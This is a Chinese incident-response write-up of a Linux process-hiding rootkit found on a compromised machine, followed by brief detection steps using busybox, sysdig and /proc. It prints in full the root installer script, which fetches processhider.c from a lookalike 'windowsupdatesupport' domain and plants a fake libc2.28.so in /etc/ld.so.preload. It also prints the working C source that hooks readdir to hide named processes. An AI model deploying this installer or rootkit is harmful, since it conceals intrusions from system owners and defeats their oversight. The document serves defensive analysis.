实现过程

  1. 从应急现场拿到的,直接上代码:<br />shell执行如下程序,运行前修改要processhider.c中要隐藏的程序名称。
  1. if [ "$EUID" -ne 0 ]
  2. then echo "Please run as root"
  3. else
  4. if [ `grep libc2.28 /etc/ld.so.preload` ]
  5. then echo "hideproc already done!!"
  6. else
  7. apt-get update -y
  8. apt-get install build-essential -y
  9. yum check-update
  10. yum install build-essential -y
  11. dnf groupinstall "Development Tools" -y
  12. yum group install "Development Tools" -y
  13. curl http://m.windowsupdatesupport.org/d/processhider.c -o processhider.c
  14. gcc -Wall -fPIC -shared -o libc2.28.so processhider.c -ldl
  15. mv libc2.28.so /usr/local/lib/ -f
  16. grep libc2.28 /etc/ld.so.preload || echo /usr/local/lib/libc2.28.so >> /etc/ld.so.preload
  17. rm -f processhider.c
  18. ls >/tmp/.1 2>&1
  19. grep libc2.28.so /tmp/.1 && echo >/etc/ld.so.preload
  20. fi
  21. fi

其中:http://m.windowsupdatesupport.org/d/processhider.c 内容为:

  1. #define _GNU_SOURCE
  2. #include <stdio.h>
  3. #include <dlfcn.h>
  4. #include <dirent.h>
  5. #include <string.h>
  6. #include <unistd.h>
  7. /*
  8. * Every process with this name will be excluded
  9. */
  10. static const char* process_to_filter = "kworkers|dbus|autoupdate";
  11. /*
  12. * Get a directory name given a DIR* handle
  13. */
  14. static int get_dir_name(DIR* dirp, char* buf, size_t size)
  15. {
  16. int fd = dirfd(dirp);
  17. if(fd == -1) {
  18. return 0;
  19. }
  20. char tmp[64];
  21. snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
  22. ssize_t ret = readlink(tmp, buf, size);
  23. if(ret == -1) {
  24. return 0;
  25. }
  26. buf[ret] = 0;
  27. return 1;
  28. }
  29. /*
  30. * Get a process name given its pid
  31. */
  32. static int get_process_name(char* pid, char* buf)
  33. {
  34. if(strspn(pid, "0123456789") != strlen(pid)) {
  35. return 0;
  36. }
  37. char tmp[256];
  38. snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
  39. FILE* f = fopen(tmp, "r");
  40. if(f == NULL) {
  41. return 0;
  42. }
  43. if(fgets(tmp, sizeof(tmp), f) == NULL) {
  44. fclose(f);
  45. return 0;
  46. }
  47. fclose(f);
  48. int unused;
  49. sscanf(tmp, "%d (%[^)]s", &unused, buf);
  50. return 1;
  51. }
  52. #define DECLARE_READDIR(dirent, readdir) \
  53. static struct dirent* (*original_##readdir)(DIR*) = NULL; \
  54. \
  55. struct dirent* readdir(DIR *dirp) \
  56. { \
  57. if(original_##readdir == NULL) { \
  58. original_##readdir = dlsym(RTLD_NEXT, #readdir); \
  59. if(original_##readdir == NULL) \
  60. { \
  61. fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \
  62. } \
  63. } \
  64. \
  65. struct dirent* dir; \
  66. \
  67. while(1) \
  68. { \
  69. dir = original_##readdir(dirp); \
  70. if(dir) { \
  71. char dir_name[256]; \
  72. char process_name[256]; \
  73. if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
  74. strcmp(dir_name, "/proc") == 0 && \
  75. get_process_name(dir->d_name, process_name) && \
  76. strstr( process_to_filter,process_name)) { \
  77. continue; \
  78. } \
  79. } \
  80. break; \
  81. } \
  82. return dir; \
  83. }
  84. DECLARE_READDIR(dirent64, readdir64);
  85. DECLARE_READDIR(dirent, readdir);

查杀方案

应对方式
1、使用busybox执行命令查看
2、sysdig命令查看

  1. sudo sysdig -c topprocs_cpu # 查看cpu进程占用情况
  2. sudo sysdig proc.name contains evil_script # 针对包含evil_script的进程监测
  3. # 监测网络情况
  4. sudo sysdig -c topprocs_net
  5. sudo sysdig -c topconns

3、查看相关pid的cmdline

  1. cat /proc/PID/cmdline